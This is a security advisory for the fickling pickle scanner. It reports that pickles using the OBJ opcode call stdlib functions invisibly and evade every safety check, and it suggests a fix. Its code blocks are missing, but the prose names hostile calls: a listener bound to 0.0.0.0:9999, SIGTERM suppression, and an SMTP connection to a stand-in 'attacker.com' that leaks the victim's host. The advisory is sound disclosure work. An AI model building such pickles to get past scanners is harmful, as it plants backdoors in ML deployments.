GHSA-mxhj-88fx-4pcv Fickling: OBJ opcode call invisibility bypasses all safety checks
AssessmentThe interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).Original reportSummaryAll 5 of fickling's safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.DetailsThe vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`).**REDUCE** (`fickle.py:1286-1301`) correctly persists calls to the AST:The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."**OBJ** (`fickle.py:1333-1350`) does exactly what that comment warns against:When the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call:Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.**NEWOBJ** (`fickle.py:1411-1420`) and **NEWOBJ_EX** (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython's NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects).Affected versionsAll versions through 0.1.7 (latest as of 2026-02-19).Affected APIs`fickling.is_likely_safe()` - returns `True` for bypass payloads`fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE``fickling --check-safety` CLI - exits with code 0`fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes`fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executesPoCA pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`:fickling decompiles this to:Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.**CLI verification:****Comparison with REDUCE (same function, detected):**Backdoor listener PoC (most impactful)A pickle that opens a TCP listener on port 9999, binding to all interfaces:Multi-stage combined PoCA single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:**`always_check_safety()` verification:**ImpactAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:**Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.**Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.**Outbound exfiltration**: `smtplib.SMTP('attacker.com')` opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.**File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path.A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.The bypass works for any stdlib module NOT in fickling's `UNSAFE_IMPORTS` blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.Suggested FixAdd `new_variable()` to `Obj.run()` (lines 1348 and 1350), applying the same pattern used by `Reduce.run()` (line 1300):Also apply to `NewObj.run()` (line 1414) and `NewObjEx.run()` (line 1426) for defense in depth.
CVSS v4.0 score: 8.6